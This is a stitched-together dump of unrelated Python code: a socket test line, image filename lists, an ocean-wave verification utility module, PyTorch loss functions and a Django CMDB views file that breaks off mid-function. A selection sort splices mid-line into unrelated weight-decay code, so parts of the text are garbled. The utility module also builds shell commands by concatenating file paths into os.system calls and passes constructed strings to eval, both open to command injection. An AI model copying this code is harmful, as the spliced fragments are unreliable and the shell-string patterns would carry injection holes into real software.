self.socket.close.side_effect = [OSError] self.connection.close() self.socket.close.assert_called_once() import os os.listdir('data') train = ['00001b2b5609af42ab0ab276dd4cd41c3e7745b5.tif', '000020de2aa6193f4c160e398a8edea95b1da598.tif', '00004aab08381d25d315384d646f5ce413ea24b1.tif', '0000d563d5cfafc4e68acb7c9829258a298d9b6a.tif', '0000da768d06b879e5754c43e2298ce48726f722.tif', '0000f8a4da4c286eee5cf1b0d2ab82f979989f7b.tif', '00010f78ea8f878117500c445a658e5857f4e304.tif', '00011545a495817817c6943583b294c900a137b8.tif', '000126ec42770c7568204e2f6e07eb9a07d5e121.tif', '00014e39b5df5f80df56f18a0a049d1cc6de430a.tif', '00016a638ed77529609ac61479dc7ee99a6f3711.tif', '0001a2bc5d4aa55989f014bfad74a95ac3dfff54.tif', '0001b13d0d0f66d147a4167fca19fe22721556d4.tif', '00027298de60883932506d5c46be978d71a2da68.tif', '0002b6bb08e7520917c302addd291000b670069c.tif'] test = ['00006537328c33e284c973d7b39d340809f7271b.tif', '0000ec92553fda4ce39889f9226ace43cae3364e.tif', '00024a6dee61f12f7856b0fc6be20bc7a48ba3d2.tif', '000253dfaa0be9d0d100283b22284ab2f6b643f6.tif', '000270442cc15af719583a8172c87cd2bd9c7746.tif', '000309e669fa3b18fb0ed6a253a2850cce751a95.tif', '000360e0d8358db520b5c7564ac70c5706a0beb0.tif', '00040095a4a671280aeb66cb0c9231e6216633b5.tif', '000698b7df308d75ec9559ef473a588c513a68aa.tif', '0006e1af5670323331d09880924381d67d79eda0.tif', '000997a6038fa7441aa0111ac456255060a354c4.tif', '000c8db3e09f1c0f3652117cf84d78aae100e5a7.tif', '000de14191f3bab4d2d6a7384ca0e5aa5dc0dffe.tif', '000e6341cf18365d35b40f4991002fec8834afc0.tif', '0010e2887e0b977fcdfdf4c50564fafbbc2b6208.tif'] """ utility fcts for the verification """ import numpy as np import netCDF4 from datetime import datetime, timedelta from math import radians, cos, sin, asin, sqrt, floor import sys import subprocess import os from dateutil.parser import parse def block_detection(time,deltalim=None): if deltalim is None: deltalim = 1 # forward check idx_a = [] for i in range(1,len(time)): delta_t = time[i]-time[i-1] if delta_t>deltalim: idx_a.append(i) # backward check idx_b = [] for i in range(0,len(time)-1): delta_t = time[i+1]-time[i] if delta_t>deltalim: idx_b.append(i) blocklst = [] for i in range(len(idx_a)): if i == 0: tmp = [0,idx_b[i]] blocklst.append(tmp) if i < len(idx_a)-1: tmp = [idx_a[i],idx_b[i+1]] blocklst.append(tmp) if i == len(idx_a)-1: tmp = [idx_a[i],len(time)-1] blocklst.append(tmp) return idx_a, idx_b, blocklst def identify_outliers(time,ts,ts_ref=None,hs_ll=None,hs_ul=None,dt=None,block=None): """ fct to identify outliers based on within block variance time -> time series to check neighbour values ts -> time series to be checked for outliers ts_ref -> time series to compare to (optional) hs_ll -> hs lower limit over which values are checked hs_ul -> values over limit are being rejected block -> blocksize used for detection """ if hs_ll is None: hs_ll = 1. if hs_ul is None: hs_ul = 30. if block is None: block = 25 std_ts = np.nanstd(ts) mean_ts = np.nanmean(ts) # forward check idx_a = [] for i in range(1,len(ts)): # transform to z if len(ts)=int(block/2)+1 and i<(len(ts)-int(block/2))): z = (ts[i] - np.nanmean(ts[i-int(block/2):i+int(block/2)]))/np.nanstd(ts[i-int(block/2):i+int(block/2)]) elif i>len(ts)-int(block/2): z = ((ts[i] - np.nanmean(ts[(len(ts-1)-block):-1])) /np.nanstd(ts[(len(ts-1)-block):-1])) if dt == True: delta_t = (time[i]-time[i-1]).total_seconds() else: delta_t = time[i]-time[i-1] if delta_t<2: #reject if value triples compared to neighbor # reject if greater than twice std (>2z) if ( ts[i] > hs_ll and ((ts[i-1] >= 3. * ts[i]) or (z>2)) ): idx_a.append(i) elif (ts[i] > hs_ll and z>2): idx_a.append(i) print (len(idx_a)) # backward check idx_b = [] for i in range(0,len(ts)-1): # transform to z if len(ts)=int(block/2)+1 and ilen(ts)-int(block/2): z = ((ts[i] - np.nanmean(ts[(len(ts-1)-block):-1])) /np.nanstd(ts[(len(ts-1)-block):-1])) if dt == True: delta_t = (time[i+1]-time[i]).total_seconds() else: delta_t = time[i+1]-time[i] if delta_t<2: #reject if value triples compared to neighbor # reject if greater than twice std (>2z) if ( ts[i] > hs_ll and ((ts[i+1] <= 1/3. * ts[i]) or (z>2)) ): idx_b.append(i) elif (ts[i] > hs_ll and z>2): idx_b.append(i) print (len(idx_b)) idx_c = [] for i in range(len(ts)): # reject if hs>hs_ul if ts[i]>hs_ul: idx_c.append(i) idx = np.unique(np.array(idx_a + idx_b + idx_c)) if len(idx)>0: print(str(len(idx)) + ' outliers detected of ' + str(len(time)) + ' values') return idx else: print('no outliers detected') return [] def progress(count, total, status=''): ''' Create a progress bar: from: https://gist.github.com/vladignatyev/06860ec2040cb497f0f3 ''' bar_len = 60 filled_len = int(round(bar_len * count / float(total))) percents = round(100.0 * count / float(total), 1) bar = '=' * filled_len + '-' * (bar_len - filled_len) sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percents, '%', status)) sys.stdout.flush() def grab_PID(): """ Function to retrieve PID and display it to be able to kill the python program that was just started """ import os # retrieve PID PID = os.getpid() print ("\n") print ("PID - with the license to kill :) ") print (str(PID)) print ("\n") return def haversineP(lon1, lat1, lon2, lat2): """ Calculate the great circle distance between two points on the earth (specified in decimal degrees) """ # convert decimal degrees to radians lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2]) # haversine formula dlon = lon2 - lon1 dlat = lat2 - lat1 a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2 c = 2 * asin(sqrt(a)) km = 6367 * c return km def haversineA(lon1, lat1, lon2, lat2): """ Calculate the great circle distance between two points on the earth (specified in decimal degrees) Note: lon1,lat1,lon2, and lat2 can be lists """ # convert decimal degrees to radians rads = np.deg2rad(np.array([lon1,lat1,lon2,lat2])) # haversine formula if isinstance(lon1,list): dlon = rads[2,:] - rads[0,:] dlat = rads[3,:] - rads[1,:] a = np.sin(dlat/2)**2 \ + np.cos(rads[1,:]) * np.cos(rads[3,:]) * np.sin(dlon/2)**2 c = 2 * np.arcsin(np.sqrt(a)) km = 6367 * c return list(km) else: dlon = rads[2] - rads[0] dlat = rads[3] - rads[1] a = np.sin(dlat/2)**2 \ + np.cos(rads[1]) * np.cos(rads[3]) * np.sin(dlon/2)**2 c = 2 * np.arcsin(np.sqrt(a)) km = 6367 * c return [km] def runmean(vec,win,mode=None,weights=None): """ Computes the running mean with various configurations. input: vec = vector of values to me smoothed win = window length mode = string: left, centered, right weights = weights (same size as win) """ win = int(win) if mode is None: mode='centered' out = np.zeros(len(vec))*np.nan std = np.zeros(len(vec))*np.nan length = len(vec)-win+1 if mode=='left': count = win-1 start = win-1 for i in range(length): out[count] = np.mean(vec[count-start:count+1]) std[count] = np.std(vec[count-start:count+1]) count = count+1 elif mode=='centered': start = int(floor(win/2)) for i in range(start,length): if win%2==0: sys.exit("window length needs to be odd!") else: sidx = int(i-start) eidx = int(i+start+1) if weights is not None: out[i] = np.sum(vec[sidx:eidx]*weights) else: out[i] = np.mean(vec[sidx:eidx]) std[i] = np.std(vec[sidx:eidx]) elif mode=='right': count = int(0) for i in range(length): out[count] = np.mean(vec[i:i+win]) std[count] = np.std(vec[i:i+win]) count = count+1 return out, std def runmean_conv(x,win,mode='flat'): """ running mean using convolution input: x = vector of values to me smoothed win = window length mode= which window to pic source: https://scipy-cookbook.readthedocs.io/items/SignalSmooth.html """ if x.ndim != 1: raise ValueError("smooth only accepts 1 dimension arrays.") if x.size < win: raise ValueError("Input vector needs to be bigger than window size.") if win<3: print("window length too small -> returning original signal") return x s=np.r_[x[win-1:0:-1],x,x[-2:-win-1:-1]] if mode == 'flat': #moving average w=np.ones(win,'d') else: # ['flat', 'hanning', 'hamming', 'bartlett', 'blackman'] w=eval('numpy.' + mode + '(win)') out=np.convolve(w/w.sum(),s,mode='valid') return out def bootstr(a,reps): """ Conducts a simple naive bootstrap: input: - is a time series of length n - reps (number of repetitions) output: - an array of dim n x m where m is the number of repetitions - indices of draws """ n = len(a) b = np.random.choice(a, (n, reps)) bidx = np.zeros(b.shape) * np.nan for i in range(len(a)): tmp = np.where(b==a[i]) bidx[tmp[0],tmp[1]] = i del tmp return b, bidx.astype('int') def marginalize(a,b=None): """ Removes entries in both time series that are NaN. input: np.arrays with np.nan for invalids """ if b is None: return a[~np.isnan[a]] else: comb = a + b idx = np.array(range(len(a)))[~np.isnan(comb)] a1=a[idx] b1=b[idx] return a1,b1,idx def hour_rounder(t): ''' Rounds to nearest hour by adding a timedelta hour if minute >= 30 ''' return (t.replace(second=0, microsecond=0, minute=0, hour=t.hour) +timedelta(hours=t.minute//30)) def sort_files(dirpath,filelst,product,sat): """ mv files to sub-folders of year and month """ if product == 'cmems_L3': sort_cmems_l3(dirpath,filelst,sat) elif (product == 'cci_L2P' or product == 'cci_L3'): sort_cci(dirpath,filelst,sat) elif product == 'eumetsat_L2': sort_eumetsat_l2(dirpath,filelst,sat) elif product == 'cfo_swim_L2P': sort_aviso_l2p(dirpath,filelst,sat) def sort_aviso_l2p(dirpath,filelst,sat): ''' Sort AVISO files according to year and month. ''' for e in filelst: if os.path.isfile(os.path.join(dirpath,e)): tmp = e.split('_') d1 = parse(tmp[-2]) #d2 = parse(tmp[-1].split('.')[0]) year, month = d1.strftime("%Y"), d1.strftime("%m") folder = os.path.join(dirpath,year,month) os.makedirs(folder,exist_ok=True) cmd = 'mv ' + dirpath + '/' + e + ' ' + folder os.system(cmd) def sort_cmems_l3(dirpath,filelst,sat): ''' Sort L3 files according to year and month. ''' for e in filelst: if os.path.isfile(os.path.join(dirpath,e)): tmp = 'global_vavh_l3_rt_' + sat + '_' year, month = e[len(tmp):len(tmp)+4],e[len(tmp)+4:len(tmp)+6] folder = os.path.join(dirpath,year,month) os.makedirs(folder,exist_ok=True) cmd = 'mv ' + dirpath + '/' + e + ' ' + folder os.system(cmd) def sort_cci(dirpath,filelst,sat): ''' Sort L2P and L3 files according to year and month. ''' for e in filelst: if os.path.isfile(os.path.join(dirpath,e)): tmp = e.split('-')[-2] year, month = tmp[0:4],tmp[4:6] folder = os.path.join(dirpath,year,month) os.makedirs(folder,exist_ok=True) cmd = 'mv ' + dirpath + '/' + e + ' ' + folder os.system(cmd) def sort_eumetsat_l2(dirpath,filelst,sat): ''' Sort L2 files according to year and month. ''' for e in filelst: splits = e.split('____') if os.path.isfile(os.path.join(dirpath,e)): year, month = splits[1][0:4],splits[1][4:6] print(year,month) folder = os.path.join(dirpath,year,month) print(folder) os.makedirs(folder,exist_ok=True) cmd = 'mv ' + dirpath + '/' + e + ' ' + folder os.system(cmd) def get_size(obj, seen=None): """ Recursively finds size of objects From: https://goshippo.com/blog/measure-real-size-any-python-object/ """ size = sys.getsizeof(obj) if seen is None: seen = set() obj_id = id(obj) if obj_id in seen: return 0 # Important mark as seen *before* entering recursion to gracefully handle # self-referential objects seen.add(obj_id) if isinstance(obj, dict): size += sum([get_size(v, seen) for v in obj.values()]) size += sum([get_size(k, seen) for k in obj.keys()]) elif hasattr(obj, '__dict__'): size += get_size(obj.__dict__, seen) elif hasattr(obj, '__iter__') and not isinstance(obj, (str, bytes, bytearray)): size += sum([get_size(i, seen) for i in obj]) return size def find_included_times(unfiltered_t,target_t=None, sdate=None,edate=None,twin=0): """ Find index/indices of unfiltered time series that fall within a tolerance time window around the target time or within a time window specified by sdate and edate """ if (sdate is None and edate is None): # [interval] idx = [ i for i in range(len(unfiltered_t))\ if (unfiltered_t[i] >= target_t-timedelta(minutes=twin)\ and unfiltered_t[i] <= target_t+timedelta(minutes=twin)) ] else: # [interval] idx = [ i for i in range(len(unfiltered_t))\ if (unfiltered_t[i] >= sdate-timedelta(minutes=twin)\ and unfiltered_t[i] <= edate+timedelta(minutes=twin)) ] return idx def collocate_times(unfiltered_t,target_t=None, sdate=None,edate=None,twin=None): """ fct for collocating times within a given twin as tolerance target_t and unfiltered_t need to be lists of datetime objects twin is in minutes. returns idx """ if twin is None: twin = 0 if ((twin is None or twin == 0) and (sdate is None and edate is None)): idx = [unfiltered_t.index(t) for t in target_t if (t in unfiltered_t)] else: if (sdate is None and edate is None): idx = [ find_included_times(unfiltered_t,target_t=t, sdate=sdate,edate=edate,twin=twin) \ for t in target_t ] idx = flatten(idx) else: idx = find_included_times(unfiltered_t,sdate=sdate, edate=edate,twin=twin) return idx # flatten all lists before returning them # define flatten function for lists ''' fct does the following: flat_list = [item for sublist in TIME for item in sublist] or: for sublist in TIME: for item in sublist: flat_list.append(item) ''' flatten = lambda l: [item for sublist in l for item in sublist] def make_fc_dates(sdate,edate,date_incr): ''' fct to create forecast date vector ''' fc_dates = [] while sdate <= edate: fc_dates.append(sdate) sdate += timedelta(hours=date_incr) return fc_dates def system_call(command): p = subprocess.Popen([command], stdout=subprocess.PIPE, shell=True) return p.stdout.read() def make_subdict(strsublst,class_object=None,class_object_dict=None): if class_object_dict is None: class_object_dict = vars(class_object) subdict = {} for strsub in strsublst: if strsub in class_object_dict: subdict[strsub] = class_object_dict[strsub] else: print(strsub,'is not available and not substituted') return subdict def get_pathtofile(pathlst,strsublst,subdict,date): ''' Finds and returns path of file given templates and keywords and date. ''' i = 0 switch = False while switch is False: try: pathtofile = date.strftime(pathlst[i]) except IndexError as e: print(e) print('Index to large for pathlst') print('-> returning None') return None for strsub in strsublst: pathtofile = pathtofile.replace(strsub,subdict[strsub]) #pathtofile = pathtofile.replace(strsub,kwargs[strsub]) # check if thredds and if accessible using netCDF4a if ('thredds' in pathtofile and pathtofile[-3::] == '.nc'): # check if available try: nc = netCDF4.Dataset(pathtofile) nc.close() switch = True except Exception as e: print(e) print(pathtofile, 'not accessible') else: if os.path.isfile(pathtofile) is not False: switch = True if switch is False: print(pathtofile, 'does not exist!') i += 1 return pathtofile def finditem(search_dict, field): """ Takes a dict with nested lists and dicts, and searches all dicts for a key of the field provided. """ fields_found = [] for key, value in search_dict.items(): if key == field: fields_found.append(value) elif isinstance(value, dict): results = finditem(value, field) for result in results: fields_found.append(result) elif isinstance(value, list): for item in value: if isinstance(item, dict): more_results = finditem(item, field) for another_result in more_results: fields_found.append(another_result) return fields_found def make_pathtofile(tmppath,strsublst,subdict,date=None): ''' Creates a path given templates and keywords and date. ''' if date is not None: pathtofile = date.strftime(tmppath) else: pathtofile = tmppath for strsub in strsublst: if strsub in subdict: pathtofile = pathtofile.replace(strsub,subdict[strsub]) else: print(strsub, 'in substitutables not needed for destination path') return pathtofile def convert_meteorologic_oceanographic(alpha): """ fct to convert angles from meteorological convention to oceanographic/nautical and vice versa. """ return (alpha+180)%360 class NoStdStreams(object): ''' Suppress stdout. https://codereview.stackexchange.com/questions/25417/ is-there-a-better-way-to-make-a-function-silent-on-need ''' def __init__(self,stdout = None, stderr = None): self.devnull = open(os.devnull,'w') self._stdout = stdout or self.devnull or sys.stdout self._stderr = stderr or self.devnull or sys.stderr def __enter__(self): self.old_stdout, self.old_stderr = sys.stdout, sys.stderr self.old_stdout.flush(); self.old_stderr.flush() sys.stdout, sys.stderr = self._stdout, self._stderr def __exit__(self, exc_type, exc_value, traceback): self._stdout.flush(); self._stderr.flush() sys.stdout = self.old_stdout sys.stderr = self.old_stderr self.devnull.close() def get_item_parent(ncdict,item,attr): lst = [i for i in ncdict.keys() \ if (attr in ncdict[i].keys() \ and item in ncdict[i][attr]) \ ] if len(lst) >= 1: return lst else: return None def get_item_child(ncdict,item): parent = finditem(ncdict,item) return parent def parse_date(indate): print("Parsing date") if isinstance(indate,datetime): return indate elif isinstance(indate,str): print('Translate to datetime') return parse(indate) else: print('Not able to parse input return as is') return indate test_scripts/vnf/msb_get.py import requests resp = requests.get('http://192.168.127.12:30280/api/vnfpkgm/v1/vnf_packages') print resp.status_code, resp.json() __list_to_sort__ = [8, 5, 2, 6, 9, 3, 1, 4, 0, 7] def selectionsort(List): for min_dfault_from0 in range(len(List)-1): Min = min_dfault_from0 #assume that element with min_dfault_from0 index is Min for eelment_to_compare_with_after0 in range(min_dfault_from0+1, len(List)): #compare with unsorted the other elements if(List[eelment_to_compare_with_after0] intention).float() if gating == 'hard': # Multiply by a factor proportional to the size of the number of non 1 wdecay = wdecay * intention.shape[0]/torch.sum(intention) elif gating == 'easy': wdecay = wdecay * torch.sum(intention)/intention.shape[0] loss = torch.add(loss, alpha * wdecay) return loss def weight_decay_l2(loss, model, intention_factors, alpha, gating): wdecay = 0 for w in model.parameters(): if w.requires_grad: wdecay = torch.add(torch.sum(w**2), wdecay) if intention_factors is not None: intention, _ = torch.min(intention_factors, 1) intention = (1. > intention).float() if gating == 'hard': # Multiply by a factor proportional to the size of the number of non 1 wdecay = wdecay * intention.shape[0]/torch.sum(intention) elif gating == 'easy': wdecay = wdecay * torch.sum(intention)/intention.shape[0] loss = torch.add(loss, alpha * wdecay) return loss def compute_branches_masks(controls, number_targets): """ Args controls the control values that have the following structure command flags: 2 - follow lane; 3 - turn left; 4 - turn right; 5 - go straight size of targets: How many targets is produced by the network so we can produce the masks properly Returns a mask to have the loss function applied only on over the correct branch. """ """ A vector with a mask for each of the control branches""" controls_masks = [] # when command = 2, branch 1 (follow lane) is activated for command in DirectionsEnum: controls_bool = (controls == command) controls_bool = torch.tensor(controls_bool, dtype=torch.float32).cuda() controls_bool = torch.cat([controls_bool] * number_targets, 1) controls_masks.append(controls_bool) return controls_masks def l2_loss(params): """ Functional LOSS L2 Args params dictionary that should include: branches: The tensor containing all the branches branches output from the network targets: The ground truth targets that the network should produce controls_mask: the masked already expliciting the branches tha are going to be used branches weights: the weigths that each branch will have on the loss function speed_gt: the ground truth speed for these data points Returns A vector with the loss function """ """ It is a vec for each branch""" loss_branches_vec = [] # TODO This is hardcoded but all our cases rigth now uses four branches for i in range(len(params['branches']) - 1): loss_branches_vec.append(((params['branches'][i] - params['targets']) ** 2 * params['controls_mask'][i]) * params['branch_weights'][i]) """ The last branch is a speed branch""" # TODO: Activate or deactivate speed branch loss loss_branches_vec.append((params['branches'][-1] - params['inputs']) ** 2 * params['branch_weights'][-1]) return loss_branches_vec, {} def l1_loss(params): """ Functional LOSS L1 Args params dictionary that should include: branches: The tensor containing all the branches branches output from the network targets: The ground truth targets that the network should produce controls_mask: the masked already expliciting the branches tha are going to be used branches weights: the weigths that each branch will have on the loss function speed_gt: the ground truth speed for these data points Returns A vector with the loss function """ """ It is a vec for each branch""" loss_branches_vec = [] # TODO This is hardcoded but all our cases rigth now uses four branches for i in range(len(params['branches']) -1): loss_branches_vec.append(torch.abs((params['branches'][i] - params['targets']) * params['controls_mask'][i]) * params['branch_weights'][i]) """ The last branch is a speed branch""" # TODO: Activate or deactivate speed branch loss loss_branches_vec.append(torch.abs(params['branches'][-1] - params['inputs']) * params['branch_weights'][-1]) return loss_branches_vec, {} skcmdb/ops.py # coding:utf-8 #from Tkconstants import W from django.contrib.auth.decorators import login_required from django.db.models import Q from django.shortcuts import render_to_response, HttpResponse, HttpResponseRedirect from django.core.urlresolvers import reverse from django.template import RequestContext from skaccounts.permission import permission_verify from skcmdb.api import pages, get_object from skcmdb.forms import IdcForm, EnvForm, YwGroupForm, MiddleTypeForm, AssetForm, AppForm, HostGroupForm, DbSourceForm, \ UrlForm, WhileIpForm from skcmdb.models import Env, YwGroup, MiddleType, ASSET_STATUS, App, HostGroup, DbSource, KafkaTopic, Url, MAP_TYPE, \ WhileIp from skaccounts.models import UserInfo import commands @login_required() @permission_verify() def opssa_list(request): temp_name = "skcmdb/cmdb-header.html" opssa_info = UserInfo.objects.filter(type__gte=1).filter(type__lte=5) return render_to_response('skcmdb/opssa_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def env_list(request): temp_name = "skcmdb/cmdb-header.html" obj_info = Env.objects.all() return render_to_response('skcmdb/env_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def env_add(request): temp_name = "skcmdb/cmdb-header.html" if request.method == "POST": obj_form = EnvForm(request.POST) if obj_form.is_valid(): obj_form.save() tips = u"增加成功！" display_control = "" else: tips = u"增加失败！" display_control = "" else: display_control = "none" obj_form = EnvForm() return render_to_response("skcmdb/env_add.html", locals(), RequestContext(request)) @login_required() @permission_verify() def env_del(request): temp_name = "skcmdb/cmdb-header.html" if request.method == 'POST': obj_items = request.POST.getlist('idc_check', []) if obj_items: for n in obj_items: Env.objects.filter(id=n).delete() obj_info = Env.objects.all() return render_to_response("skcmdb/env_list.html", locals(), RequestContext(request)) @login_required @permission_verify() def env_edit(request, ids): status = 0 obj = get_object(Env, id=ids) if request.method == 'POST': af = EnvForm(request.POST, instance=obj) if af.is_valid(): af.save() status = 1 else: status = 2 else: af = EnvForm(instance=obj) return render_to_response('skcmdb/env_edit.html', locals(), RequestContext(request)) @login_required() @permission_verify() def ywgroup_list(request): temp_name = "skcmdb/cmdb-header.html" obj_info = YwGroup.objects.all() return render_to_response('skcmdb/ywgroup_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def ywgroup_add(request): temp_name = "skcmdb/cmdb-header.html" if request.method == "POST": obj_form = YwGroupForm(request.POST) if obj_form.is_valid(): obj_form.save() tips = u"增加成功！" display_control = "" else: tips = u"增加失败！" display_control = "" else: display_control = "none" obj_form = YwGroupForm() return render_to_response("skcmdb/ywgroup_add.html", locals(), RequestContext(request)) @login_required() @permission_verify() def ywgroup_del(request): temp_name = "skcmdb/cmdb-header.html" if request.method == 'POST': obj_items = request.POST.getlist('idc_check', []) if obj_items: for n in obj_items: YwGroup.objects.filter(id=n).delete() obj_info = YwGroup.objects.all() return render_to_response("skcmdb/ywgroup_list.html", locals(), RequestContext(request)) @login_required() @permission_verify() def ywgroup_edit(request, ids): obj = YwGroup.objects.get(id=ids) allidc = YwGroup.objects.all() return render_to_response("skcmdb/ywgroup_edit.html", locals(), RequestContext(request)) @login_required() @permission_verify() def ywgroup_save(request): temp_name = "skcmdb/cmdb-header.html" if request.method == 'POST': id = request.POST.get('id') name = request.POST.get('name') sa = request.POST.get('address') descrition = request.POST.get('descrition') obj_item = YwGroup.objects.get(id=id) obj_item.name = name obj_item.address = sa obj_item.descrition = descrition obj_item.save() status = 1 else: status = 2 return render_to_response("skcmdb/ywgroup_edit.html", locals(), RequestContext(request)) @login_required() @permission_verify() def hostgroup_list(request): temp_name = "skcmdb/cmdb-header.html" obj_info = HostGroup.objects.all() return render_to_response('skcmdb/hostgroup_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def hostgroup_add(request): temp_name = "skcmdb/cmdb-header.html" if request.method == "POST": obj_form = HostGroupForm(request.POST) if obj_form.is_valid(): obj_form.save() tips = u"增加成功！" display_control = "" else: tips = u"增加失败！" display_control = "" return render_to_response("skcmdb/hostgroup_add.html", locals(), RequestContext(request)) else: display_control = "none" obj_form = HostGroupForm() return render_to_response("skcmdb/hostgroup_add.html", locals(), RequestContext(request)) @login_required() @permission_verify() def hostgroup_del(request): temp_name = "skcmdb/cmdb-header.html" if request.method == 'POST': obj_items = request.POST.getlist('g_check', []) if obj_items: for n in obj_items: HostGroup.objects.filter(id=n).delete() obj_info = HostGroup.objects.all() return render_to_response("skcmdb/hostgroup_list.html", locals(), RequestContext(request)) @login_required() @permission_verify() def hostgroup_edit(request, ids): obj = HostGroup.objects.get(id=ids) return render_to_response("skcmdb/hostgroup_edit.html", locals(), RequestContext(request)) @login_required() @permission_verify() def hostgroup_save(request): temp_name = "skcmdb/cmdb-header.html" if request.method == 'POST': id = request.POST.get('id') name = request.POST.get('name') desc = request.POST.get('desc') obj_item = HostGroup.objects.get(id=id) obj_item.name = name obj_item.desc = desc obj_item.save() status = 1 else: status = 2 return render_to_response("skcmdb/hostgroup_edit.html", locals(), RequestContext(request)) @login_required() @permission_verify() def middletype_list(request): temp_name = "skcmdb/cmdb-header.html" obj_info = MiddleType.objects.all() return render_to_response('skcmdb/middletype_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def middletype_add(request): temp_name = "skcmdb/cmdb-header.html" if request.method == "POST": obj_form = MiddleTypeForm(request.POST) if obj_form.is_valid(): obj_form.save() tips = u"增加成功！" display_control = "" else: tips = u"增加失败！" display_control = "" return render_to_response("skcmdb/middletype_add.html", locals(), RequestContext(request)) else: display_control = "none" obj_form = MiddleTypeForm() return render_to_response("skcmdb/middletype_add.html", locals(), RequestContext(request)) @login_required() @permission_verify() def middletype_del(request): temp_name = "skcmdb/cmdb-header.html" if request.method == 'POST': obj_items = request.POST.getlist('idc_check', []) if obj_items: for n in obj_items: MiddleType.objects.filter(id=n).delete() obj_info = MiddleType.objects.all() return render_to_response("skcmdb/middletype_list.html", locals(), RequestContext(request)) @login_required() @permission_verify() def middletype_edit(request, ids): obj = MiddleType.objects.get(id=ids) allidc = MiddleType.objects.all() return render_to_response("skcmdb/middletype_edit.html", locals(), RequestContext(request)) @login_required() @permission_verify() def middletype_save(request): temp_name = "skcmdb/cmdb-header.html" if request.method == 'POST': id = request.POST.get('id') name = request.POST.get('name') descrition = request.POST.get('descrition') obj_item = MiddleType.objects.get(id=id) obj_item.name = name obj_item.descrition = descrition obj_item.save() status = 1 else: status = 2 return render_to_response("skcmdb/middletype_edit.html", locals(), RequestContext(request)) @login_required() @permission_verify() def app_list(request): temp_name = "skcmdb/cmdb-header.html" sa_info = UserInfo.objects.filter(type=1) env_info = Env.objects.all() ywgroup_info = YwGroup.objects.all() hostgroup_info = HostGroup.objects.all() status_info = ASSET_STATUS sa_name = request.GET.get('sa', '') env_name = request.GET.get('env', '') ywgroup_name = request.GET.get('ywgroup', '') status = request.GET.get('status', '') keyword = request.GET.get('keyword', '') app_find = App.objects.all() if sa_name: app_find = app_find.filter(sa__nickname__contains=sa_name) if env_name: app_find = app_find.filter(env__name__contains=env_name) if ywgroup_name: app_find = app_find.filter(ywgroup__name__contains=ywgroup_name) if status: app_find = app_find.filter(status__contains=status) if keyword: app_find = app_find.filter( Q(name__contains=keyword) | Q(ywgroup__name__contains=keyword) | Q(sa__nickname__contains=keyword) | Q(env__name__contains=keyword) | Q(status__contains=keyword) | Q(descrition__contains=keyword) ) app_list, p, apps, page_range, current_page, show_first, show_end = pages(app_find, request) return render_to_response('skcmdb/app_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def app_add(request): temp_name = "skcmdb/cmdb-header.html" if request.method == "POST": a_form = AppForm(request.POST) if a_form.is_valid(): a_form.save() tips = u"增加成功！" display_control = "" else: tips = u"增加失败！" display_control = "" return render_to_response("skcmdb/app_add.html", locals(), RequestContext(request)) else: display_control = "none" a_form = AppForm() return render_to_response("skcmdb/app_add.html", locals(), RequestContext(request)) @login_required() @permission_verify() def app_del(request): app_id = request.GET.get('id', '') if app_id: App.objects.filter(id=app_id).delete() if request.method == 'POST': app_batch = request.GET.get('arg', '') app_id_all = str(request.POST.get('app_id_all', '')) if app_batch: for app_id in app_id_all.split(','): app = get_object(App, id=app_id) app.delete() return HttpResponse(u'删除成功') @login_required @permission_verify() def app_edit(request, ids): status = 0 obj = get_object(App, id=ids) if request.method == 'POST': af = AppForm(request.POST, instance=obj) if af.is_valid(): af.save() status = 1 else: status = 2 else: af = AppForm(instance=obj) return render_to_response('skcmdb/app_edit.html', locals(), RequestContext(request)) @login_required @permission_verify() def url_list(request): temp_name = "skcmdb/cmdb-header.html" sa_info = UserInfo.objects.filter(type=1) env_info = Env.objects.all() ywgroup_info = YwGroup.objects.all() type_info = MAP_TYPE status_info = ASSET_STATUS sa = request.GET.get('sa', '') env = request.GET.get('env', '') ywgroup = request.GET.get('ywgroup', '') type = request.GET.get('type', '') status = request.GET.get('status', '') obj_info = Url.objects.all() if sa: obj_info = obj_info.filter(sa__nickname__contains=sa) if env: obj_info = obj_info.filter(env__name__contains=env) if ywgroup: obj_info = obj_info.filter(ywgroup__name__contains=ywgroup) if type: obj_info = obj_info.filter(type=type) if status: obj_info = obj_info.filter(status=status) return render_to_response('skcmdb/url_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def url_add(request): temp_name = "skcmdb/cmdb-header.html" if request.method == "POST": a_form = UrlForm(request.POST) if a_form.is_valid(): a_form.save() tips = u"增加成功！" display_control = "" else: tips = u"增加失败！" display_control = "" else: display_control = "none" a_form = UrlForm() return render_to_response("skcmdb/url_add.html", locals(), RequestContext(request)) @login_required() @permission_verify() def url_del(request): url_id = request.GET.get('id', '') if url_id: Url.objects.filter(id=url_id).delete() if request.method == 'POST': url_id_all = str(request.POST.get('url_id_all', '')) if url_id_all: for url_id in url_id_all.split(','): url = get_object(Url, id=url_id) url.delete() return HttpResponse(u'删除成功') @login_required @permission_verify() def url_edit(request, ids): status = 0 obj = get_object(Url, id=ids) if request.method == 'POST': af = UrlForm(request.POST, instance=obj) if af.is_valid(): af.save() status = 1 else: status = 2 else: af = UrlForm(instance=obj) return render_to_response('skcmdb/url_edit.html', locals(), RequestContext(request)) @login_required @permission_verify() def kafka_list(request): temp_name = "skcmdb/cmdb-header.html" kafka_info = KafkaTopic.objects.all() return render_to_response('skcmdb/kafka_list.html', locals(), RequestContext(request)) @login_required @permission_verify() def kafka_update(request): temp_name = "skcmdb/cmdb-header.html" cmd = "ssh 10.8.45.103 /opt/soft/kafka/bin/kafka-topics.sh --zookeeper 10.8.45.103:2181 --list" code, result = commands.getstatusoutput(cmd) if code == 0: data = result.split('\n') l = list(KafkaTopic.objects.values_list('name')) l_data = [] for i in l: l_data.append(i[0]) for d in data: if d not in l_data: KafkaTopic.objects.create(name=d) for d in l_data: if d not in data: KafkaTopic.objects.get(name=d).delete() return HttpResponse(u'更新成功 .') return HttpResponse(u'更新 Error!') @login_required() @permission_verify() def dbsource_list(request): temp_name = "skcmdb/cmdb-header.html" obj_info = DbSource.objects.all() return 